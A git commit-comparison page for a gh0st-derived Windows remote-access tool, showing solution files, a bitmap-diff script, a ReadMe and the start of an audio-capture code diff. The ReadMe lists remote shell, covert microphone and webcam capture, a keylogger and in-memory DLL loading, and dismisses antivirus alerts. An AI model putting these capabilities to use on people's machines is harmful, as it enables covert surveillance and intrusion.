Compare commits
136 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9078f1eb10 | ||
|
|
e31aafcdb5 | ||
|
|
8be2456b91 | ||
|
|
4783a43e9e | ||
|
|
685e0a1e3f | ||
|
|
630f801574 | ||
|
|
4926cdb19c | ||
|
|
76605f3e1f | ||
|
|
323500dc90 | ||
|
|
ba56029aca | ||
|
|
72d835f257 | ||
|
|
b4bc266ac6 | ||
|
|
ca8ff799ef | ||
|
|
843faf079c | ||
|
|
e9b0be2761 | ||
|
|
93d54d55a7 | ||
|
|
fbd3bcdab6 | ||
|
|
238d6d5bd2 | ||
|
|
c6f70136e1 | ||
|
|
21d533f7fc | ||
|
|
6c4663751a | ||
|
|
fa9f111511 | ||
|
|
72459de00e | ||
|
|
69afaf19c0 | ||
|
|
29a324404f | ||
|
|
db76967a37 | ||
|
|
2d54b0f63d | ||
|
|
9bc2cd4307 | ||
|
|
7a6b57917a | ||
|
|
9475e59887 | ||
|
|
13288b5c4e | ||
|
|
80aff857d2 | ||
|
|
2b7b69917e | ||
|
|
1ab05c0aaa | ||
|
|
d789d1c14c | ||
|
|
4f00cbfd6a | ||
|
|
f7abd398a4 | ||
|
|
1492ef4bd2 | ||
|
|
53f2bbed73 | ||
|
|
0ec02402e3 | ||
|
|
2dbdc1860f | ||
|
|
1358fecc7c | ||
|
|
6b2497b157 | ||
|
|
07e1cbe814 | ||
|
|
be1db96698 | ||
|
|
7bcf11ce0a | ||
|
|
614cc8c0b4 | ||
|
|
0d6d171909 | ||
|
|
ac2d54a706 | ||
|
|
269707b0d2 | ||
|
|
2e06d8f5ae | ||
|
|
52c5442bfd | ||
|
|
1fce74e06e | ||
|
|
2b9ef8e935 | ||
|
|
80f277aa7f | ||
|
|
914eefbb23 | ||
|
|
8ec3e83d31 | ||
|
|
0ef817af9c | ||
|
|
4a89c3fbed | ||
|
|
16ef7c364a | ||
|
|
34c7287371 | ||
|
|
483d090515 | ||
|
|
3b46ca4219 | ||
|
|
0989cae803 | ||
|
|
816385e9c8 | ||
|
|
1694cabd39 | ||
|
|
c58a9dbe73 | ||
|
|
97edc611c7 | ||
|
|
1942f499e3 | ||
|
|
077df93a68 | ||
|
|
c597af3335 | ||
|
|
66923b8807 | ||
|
|
9561a5d09d | ||
|
|
943c269700 | ||
|
|
01d11f5fa3 | ||
|
|
37d96a7f66 | ||
|
|
7df66348b3 | ||
|
|
cba61fab7e | ||
|
|
aacae8d348 | ||
|
|
d4b6d48bc1 | ||
|
|
83849e688f | ||
|
|
7a2248f2cf | ||
|
|
8aa42d5db2 | ||
|
|
48260b367f | ||
|
|
079443d48f | ||
|
|
9617694d14 | ||
|
|
97ee5bc26f | ||
|
|
a2975d9471 | ||
|
|
cdded1687d | ||
|
|
e69f18d576 | ||
|
|
0c0c24534b | ||
|
|
5b86910cb2 | ||
|
|
727bbd395b | ||
|
|
3d0e7f7573 | ||
|
|
0d6c64f87b | ||
|
|
225c7e0318 | ||
|
|
2c870f1952 | ||
|
|
0a6641baec | ||
|
|
a43386d181 | ||
|
|
833b0347c1 | ||
|
|
2ffa2534f1 | ||
|
|
919afb5311 | ||
|
|
fa383037a4 | ||
|
|
5a7145a5ac | ||
|
|
fdee9b88c2 | ||
|
|
a48a5fcfb9 | ||
|
|
7005d80ead | ||
|
|
e31c88b59c | ||
|
|
e234b37279 | ||
|
|
b8249a241c | ||
|
|
fb01dee4dd | ||
|
|
a58c105d55 | ||
|
|
60a9cf202c | ||
|
|
60a59b8dd5 | ||
|
|
953d298c1c | ||
|
|
ab7259edda | ||
|
|
1f03c14fee | ||
|
|
188d5cd24a | ||
|
|
b8ab695e5e | ||
|
|
74c4266eb7 | ||
|
|
fd62f33e60 | ||
|
|
1e7cbcbf5c | ||
|
|
91428795e6 | ||
|
|
af63166fbe | ||
|
|
be45b5bd89 | ||
|
|
bd7b9ed492 | ||
|
|
4283a31e66 | ||
|
|
5aadfc13a6 | ||
|
|
e4793a489e | ||
|
|
b573baed0b | ||
|
|
38c0c1ccdb | ||
|
|
78623390b2 | ||
|
|
16741545a9 | ||
|
|
c54d75505e | ||
|
|
c6e9a06a1a | ||
|
|
79903cbdff |
3
.gitignore
vendored
3
.gitignore
vendored
@@ -27,7 +27,6 @@ Release
|
||||
*.lai
|
||||
*.la
|
||||
*.a
|
||||
*.lib
|
||||
|
||||
# Executables
|
||||
*.exe
|
||||
@@ -67,3 +66,5 @@ server/2015Remote/2015Remote.aps
|
||||
*.suo
|
||||
server/2015Remote.VC.db
|
||||
server/2015Remote.opensdf
|
||||
*.7z
|
||||
*.ini
|
||||
|
||||
43
2015Remote.sln
Normal file
43
2015Remote.sln
Normal file
@@ -0,0 +1,43 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 14
|
||||
VisualStudioVersion = 14.0.25420.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "server\2015Remote\2015Remote_vs2015.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.Build.0 = Debug|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.ActiveCfg = Release|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.Build.0 = Release|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.Build.0 = Debug|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.ActiveCfg = Release|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.Build.0 = Release|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.Build.0 = Debug|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.ActiveCfg = Release|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.Build.0 = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.Build.0 = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
72
2019Remote.sln
Normal file
72
2019Remote.sln
Normal file
@@ -0,0 +1,72 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.35425.106
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "server\2015Remote\2015Remote_vs2015.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
||||
EndProject
|
||||
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{70702583-26EE-47E0-9847-4D58F9449F4C}"
|
||||
ProjectSection(SolutionItems) = preProject
|
||||
history.md = history.md
|
||||
ReadMe.md = ReadMe.md
|
||||
使用方法.txt = 使用方法.txt
|
||||
使用花生壳.txt = 使用花生壳.txt
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x64.Build.0 = Debug|x64
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.Build.0 = Debug|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x64.ActiveCfg = Release|x64
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x64.Build.0 = Release|x64
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.ActiveCfg = Release|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.Build.0 = Release|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x64.Build.0 = Debug|x64
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.Build.0 = Debug|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x64.ActiveCfg = Release|x64
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x64.Build.0 = Release|x64
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.ActiveCfg = Release|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.Build.0 = Release|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x64.Build.0 = Debug|x64
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.Build.0 = Debug|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x64.ActiveCfg = Release|x64
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x64.Build.0 = Release|x64
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.ActiveCfg = Release|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.Build.0 = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x64.Build.0 = Debug|x64
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.Build.0 = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x64.ActiveCfg = Release|x64
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x64.Build.0 = Release|x64
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {B1D72004-04EB-4DFF-879C-BCB05C75DFA4}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
28
BmpDifference.m
Normal file
28
BmpDifference.m
Normal file
@@ -0,0 +1,28 @@
|
||||
% 计算客户端和服务端的位图差异
|
||||
% MATLAB 8.1.0.604 (R2013a)
|
||||
clear all;clc;
|
||||
folder1=[pwd, '/client/bmp/']; % 客户端位图目录
|
||||
folder2=[pwd, '/server/2015Remote/bmp/']; % 服务端位图目录
|
||||
|
||||
num1=numel(dir(fullfile(folder1, '*.bmp')));
|
||||
disp([folder1, ' BMP file count: ', num2str(num1)]);
|
||||
num2=numel(dir(fullfile(folder2, '*.bmp')));
|
||||
disp([folder2, ' BMP file count: ', num2str(num2)]);
|
||||
num = min(num1, num2);
|
||||
missing = 0;
|
||||
for i=1:num
|
||||
file1 = sprintf('%sGHOST_%d.bmp', folder1, i);
|
||||
file2 = sprintf('%sYAMA_%d.bmp', folder2, i);
|
||||
if exist(file2, 'file') == 2
|
||||
img1 = imread(file1);
|
||||
img2 = imread(file2);
|
||||
diff=double(img1)-double(img2);
|
||||
s = sum(diff(:));
|
||||
fprintf('BMP [%d] difference: %g\n', i, s);
|
||||
else
|
||||
fprintf('BMP [%d] difference: MISSING\n', i);
|
||||
missing = missing + 1;
|
||||
end
|
||||
end
|
||||
|
||||
disp(missing);
|
||||
158
ReadMe.md
Normal file
158
ReadMe.md
Normal file
@@ -0,0 +1,158 @@
|
||||
# 项目简介
|
||||
|
||||
**原始来源:** [zibility](https://github.com/zibility/Remote)
|
||||
|
||||
**功能概述:** 基于gh0st的远程控制器:实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
|
||||
如果您热爱研究控制程序,喜欢本项目,请您对该项目添加星标。Fork、Watch此项目,提交Issues,发起Pull Request都是受欢迎的。
|
||||
|
||||
根据本人空闲情况,此项目会不定期更新。若您想对该项目了解更多技术细节,喜欢讨论软件的各方面,学习和交流请通过适当的方式联系。
|
||||
|
||||
此程序仅限于学习和技术交流用途,使用者本人需对自己使用该软件产生的结果进行负责。
|
||||
|
||||
**起始日期**:2019.1.1
|
||||
|
||||
## 主控程序
|
||||
主控程序为**YAMA.exe**是Server端,Release发布版本在单台电脑只能运行一个示例。
|
||||
下面展示主控程序运行界面,所有功能均可用,程序运行稳定。
|
||||
某些功能要求受控程序以管理员权限运行。
|
||||
|
||||

|
||||
|
||||
主界面以列表形式展示连接到本机的受控程序。
|
||||
选中某个主机以便进行远程控制。
|
||||
|
||||

|
||||
|
||||
终端管理打开命令行窗口,可以执行远程命令。有一个[极简版本](./linux/main.cpp),已经支持Linux客户端,供Linux开发者研究使用。
|
||||
|
||||

|
||||
|
||||
进程管理显示受控机器上面正在运行的进程,可对进程进行启停操作。
|
||||
|
||||

|
||||
|
||||
窗口管理显示受控机器上面打开的窗口或程序,可对其进行操作。
|
||||
|
||||

|
||||

|
||||
|
||||
桌面管理即"远程桌面",控制远程机器。可以通过菜单设置远程桌面的参数:
|
||||
屏幕截图方法支持GDI或DXGI,图像压缩方法支持灰度图像传输、屏幕差异算法和H264压缩。
|
||||
另外,支持上报活动窗口和检测指定软件。
|
||||
|
||||

|
||||
|
||||
文件管理即在本机和受控机器之间传输文件。
|
||||
|
||||

|
||||
|
||||
语音管理即监听受控机器的声音,需受控机器有声音输入设备。
|
||||
|
||||

|
||||
|
||||
视频管理即打印受控机器的摄像头,需受控机器有摄像头。
|
||||
|
||||

|
||||
|
||||
服务管理即打开受控机器上面的服务列表。
|
||||
|
||||

|
||||
|
||||
注册表管理即打开受控机器上面的注册表。
|
||||
|
||||
## Linux 客户端
|
||||
|
||||

|
||||
|
||||
在[v1.0.8](./Releases/v1.0.8/ghost)目录下实现了一个Linux端受控程序,当前只支持远程终端窗口。
|
||||
|
||||

|
||||
|
||||
请在Linux环境编译得到客户端,然后在生成服务端对话框,选择该文件,填写上线地址生成Linux端程序。
|
||||
|
||||
## 关于授权
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
当前对生成服务功能进行了限制,需要取得口令方可操作。给新编译的程序14天试用期,过期之后生成服务端需要凭借"序列号"申请口令;
|
||||
如果要对其他功能乃至整个程序启动授权逻辑,或者屏蔽该授权逻辑,请参考`OnOnlineBuildClient`函数。
|
||||
“口令”包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改。生成口令需使用密码。
|
||||
|
||||
## 受控程序
|
||||

|
||||
|
||||
受控程序是Client端,分为2种运行形式("类型"):单个程序 **(1)** ghost.exe和 **(2)** TestRun.exe+ServerDll.dll形式。
|
||||
(1)单个程序运行时,不依赖其他动态链接库,而第(2)种情况运行时,由EXE程序调用核心动态链接库。
|
||||
|
||||
注意:自[v1.0.8](https://github.com/yuanyuanxiang/SimpleRemoter/releases/tag/v1.0.0.8)起,
|
||||
`TestRun.exe`将采取内存加载DLL运行方式,向主控程序请求DLL并在内存中执行,这有利于代码的热更新。
|
||||
|
||||
# 更新日志
|
||||
|
||||
2025年以前的变更记录参看:[history](./history.md)
|
||||
|
||||
2025.01.12
|
||||
修复被控程序关于远程桌面相关可能的2处问题(#28 #29)。增加对主控端列表窗口的排序功能(#26 #27),以便快速定位窗口、服务或进程。
|
||||
|
||||
发布一个运行**非常稳定**的版本v1.0.6,该版本不支持在较老的Windows XP系统运行(注:VS2019及以后版本已不支持XP工具集,为此需要更早的VS)。
|
||||
您可以从GitHub下载最新的Release,也可以clone该项目在相关目录找到。如果杀毒软件报告病毒,这是正常现象,请信任即可,或者您可以亲自编译。
|
||||
|
||||
2025.02.01
|
||||
|
||||
参考[Gh0st](https://github.com/yuanyuanxiang/Gh0st/pull/2),增加键盘记录功能。实质上就是拷贝如下四个文件:
|
||||
|
||||
*KeyboardManager.h、KeyboardManager.cpp、KeyBoardDlg.h、KeyBoardDlg.cpp*
|
||||
|
||||
**2025.04.05**
|
||||
|
||||
Release v1.0.7, mainly fix or add new feature:
|
||||
|
||||
- Update third-party libraries and switch zlib to zstd, old version v1.0.6 is compatible;
|
||||
- Support compile with Win64;
|
||||
- Fix buges and make the program more stable;
|
||||
- Improve remote control efficiency and support more bitmap compressing method;
|
||||
- Some code reorganization.
|
||||
|
||||
**2025.04.12**
|
||||
|
||||
Since v1.0.7 released in April 5:
|
||||
|
||||
- Improvement: Make sure that the input command is always at the end of `Shelldlg`, and build a **simple Linux client**;
|
||||
- Fix bugs: #62, #74, #75 ;
|
||||
- Change the flag 0x1234567 to a more readable string; and improve building service and allow chosing other files to build;
|
||||
- Showing the user's activities and monitoring specified software;
|
||||
- Clean up global variables and make it easy to create multiple clients in one program, which is useful for testing the master's capacity;
|
||||
- Implement loading DLL in memory, make it easy to update client program;
|
||||
|
||||
**2025.04.21**
|
||||
|
||||
Release v1.0.8:
|
||||
|
||||
- Support to share online host with other masters;
|
||||
- Implement service-generated authorization capability, and add a serial number generation menu;
|
||||
- Add `HPSocket` libraries which may be used in the future, and add static ffmpeg libraries to build Win64 master;
|
||||
- Implement a memory DLL runner: the `TestRun` program request DLL from master and execute in memory.
|
||||
|
||||
**2025.04.30**
|
||||
|
||||
Release v1.0.9:
|
||||
|
||||
- Update client building feature / All in one; The master will only accept the clients built by itself.
|
||||
- Improve authorization feature.
|
||||
|
||||
|
||||
# 沟通反馈
|
||||
|
||||
QQ:962914132
|
||||
|
||||
联系方式: [Telegram](https://t.me/doge_grandfather), [Email](mailto:yuanyuanxiang163@gmail.com), [LinkedIn](https://www.linkedin.com/in/wishyuanqi)
|
||||
|
||||
问题报告: [Issues](https://github.com/yuanyuanxiang/SimpleRemoter/issues)
|
||||
|
||||
欢迎提交: [Merge requests](https://github.com/yuanyuanxiang/SimpleRemoter/pulls)
|
||||
|
||||
赞助方式 / Sponsor:
|
||||
|
||||

|
||||
73
ReadMe.txt
73
ReadMe.txt
@@ -1,73 +0,0 @@
|
||||
[简介]
|
||||
|
||||
基于gh0st的远程控制器:实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
|
||||
|
||||
来源:https://github.com/zibility/Remote
|
||||
|
||||
日期:2019.1.1
|
||||
|
||||
[更新日志]
|
||||
|
||||
2019.1.5
|
||||
|
||||
1、整理垃圾排版,优化上线下线处理逻辑。
|
||||
2、修复部分内存泄漏问题,改善线程处理逻辑。
|
||||
3、修复客户端不停断线重连的缺陷。解决部分内存泄漏缺陷。
|
||||
4、解决几处缺陷。【遗留问题】文件管理对话框释放资源导致第2次打开崩溃。
|
||||
|
||||
2019.1.6
|
||||
|
||||
1、改用EnumDisplaySettings获取屏幕大小,原方法获取屏幕大小不准。
|
||||
|
||||
2、将FileManagerDlg、InputDlg、FileTransferModeDlg、TrueColorToolBar还原到gh0st最初版本。
|
||||
|
||||
3、新增项目"ghost",不通过TestRun调用dll,而是直接生成可执行文件。
|
||||
|
||||
4、修复开启视频,客户端产生的一处内存泄漏缺陷,m_pCapture需要释放。
|
||||
|
||||
2019.1.7
|
||||
|
||||
1、ghost单台电脑只允许启动唯一的实例。
|
||||
|
||||
2、远程桌面反应迟钝,改用每秒传送8帧屏幕,后续有待优化。
|
||||
|
||||
2019.1.8
|
||||
|
||||
1、发现传屏的瓶颈在zlib压缩数据,更新zlib到版本V1.2.11,提高传送屏幕速度到每秒10帧。
|
||||
|
||||
2、ghost的类CBuffer不需要临界区。
|
||||
|
||||
2019.1.9
|
||||
|
||||
1、服务端IOCPServer类的工作线程改为计算机核心个数的2倍。
|
||||
|
||||
2、解决服务端主动退出的内存泄漏问题,泄漏源在OVERLAPPEDPLUS。
|
||||
|
||||
2019.1.10
|
||||
|
||||
1、服务端远程控制增加全屏(系统右键菜单)、退出全屏(F11)的功能。
|
||||
|
||||
2、修复客户端机器屏幕缩放时远程桌面鼠标光标位置不准确的问题。(跟踪光标受影响)
|
||||
|
||||
3、发现服务端需要采用默认英文输入法,才能在远程桌面输入中文(怀疑本地输入法截获消息)。
|
||||
|
||||
4、添加崩溃时写dump文件的代码。
|
||||
|
||||
2019.1.11
|
||||
|
||||
1、修复文件管理对话框多次打开崩溃的问题(【遗留问题】)。
|
||||
|
||||
2、遗留问题:远程cmd窗口总是将输入命令输出2次、文件对话框的菜单操作可能已失效。
|
||||
|
||||
2019.1.12
|
||||
|
||||
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.
|
||||
|
||||
2、修复上述"cmd窗口总是将输入命令输出2次"遗留问题。
|
||||
|
||||
3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:
|
||||
并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。
|
||||
|
||||
4、退出时睡眠一会,等待服务端清理,发现这样可以避免退出时崩溃的概率。
|
||||
|
||||
5、发布稍微稳定的版本V1.0.0.1。
|
||||
BIN
Releases/v1.0.6/ServerDll.dll
Normal file
BIN
Releases/v1.0.6/ServerDll.dll
Normal file
Binary file not shown.
BIN
Releases/v1.0.6/TestRun.exe
Normal file
BIN
Releases/v1.0.6/TestRun.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.6/Yama.exe
Normal file
BIN
Releases/v1.0.6/Yama.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.6/ghost.exe
Normal file
BIN
Releases/v1.0.6/ghost.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.7/ServerDll.dll
Normal file
BIN
Releases/v1.0.7/ServerDll.dll
Normal file
Binary file not shown.
BIN
Releases/v1.0.7/TestRun.exe
Normal file
BIN
Releases/v1.0.7/TestRun.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.7/Yama.exe
Normal file
BIN
Releases/v1.0.7/Yama.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.7/ghost.exe
Normal file
BIN
Releases/v1.0.7/ghost.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.7/x86/ServerDll.dll
Normal file
BIN
Releases/v1.0.7/x86/ServerDll.dll
Normal file
Binary file not shown.
BIN
Releases/v1.0.7/x86/TestRun.exe
Normal file
BIN
Releases/v1.0.7/x86/TestRun.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.7/x86/Yama.exe
Normal file
BIN
Releases/v1.0.7/x86/Yama.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.7/x86/ghost.exe
Normal file
BIN
Releases/v1.0.7/x86/ghost.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.8/ServerDll.dll
Normal file
BIN
Releases/v1.0.8/ServerDll.dll
Normal file
Binary file not shown.
BIN
Releases/v1.0.8/TestRun.exe
Normal file
BIN
Releases/v1.0.8/TestRun.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.8/Yama.exe
Normal file
BIN
Releases/v1.0.8/Yama.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.8/ghost
Normal file
BIN
Releases/v1.0.8/ghost
Normal file
Binary file not shown.
BIN
Releases/v1.0.8/ghost.exe
Normal file
BIN
Releases/v1.0.8/ghost.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.8/x86/ServerDll.dll
Normal file
BIN
Releases/v1.0.8/x86/ServerDll.dll
Normal file
Binary file not shown.
BIN
Releases/v1.0.8/x86/TestRun.exe
Normal file
BIN
Releases/v1.0.8/x86/TestRun.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.8/x86/Yama.exe
Normal file
BIN
Releases/v1.0.8/x86/Yama.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.8/x86/ghost.exe
Normal file
BIN
Releases/v1.0.8/x86/ghost.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.9.7z
Normal file
BIN
Releases/v1.0.9.7z
Normal file
Binary file not shown.
@@ -14,12 +14,13 @@ CAudio::CAudio()
|
||||
{
|
||||
m_bExit = FALSE;
|
||||
m_hThreadCallBack = false;
|
||||
m_Thread = NULL;
|
||||
m_bIsWaveInUsed = FALSE;
|
||||
m_bIsWaveOutUsed = FALSE;
|
||||
m_nWaveInIndex = 0;
|
||||
m_nWaveOutIndex = 0;
|
||||
m_hEventWaveIn = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
m_hStartRecord = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
m_hEventWaveIn = CreateEvent(NULL, FALSE, FALSE, NULL);
|
||||
m_hStartRecord = CreateEvent(NULL, FALSE, FALSE, NULL);
|
||||
memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
|
||||
|
||||
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
|
||||
@@ -33,8 +34,7 @@ CAudio::CAudio()
|
||||
|
||||
m_ulBufferLength = 1000;
|
||||
|
||||
int i = 0;
|
||||
for (i = 0; i < 2; i++)
|
||||
for (int i = 0; i < 2; ++i)
|
||||
{
|
||||
m_InAudioData[i] = new BYTE[m_ulBufferLength];
|
||||
m_InAudioHeader[i] = new WAVEHDR;
|
||||
@@ -47,26 +47,7 @@ CAudio::CAudio()
|
||||
CAudio::~CAudio()
|
||||
{
|
||||
m_bExit = TRUE;
|
||||
if (m_bIsWaveInUsed)
|
||||
{
|
||||
waveInStop(m_hWaveIn);
|
||||
waveInReset(m_hWaveIn);
|
||||
for (int i = 0; i < 2; i++)
|
||||
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||
|
||||
waveInClose(m_hWaveIn);
|
||||
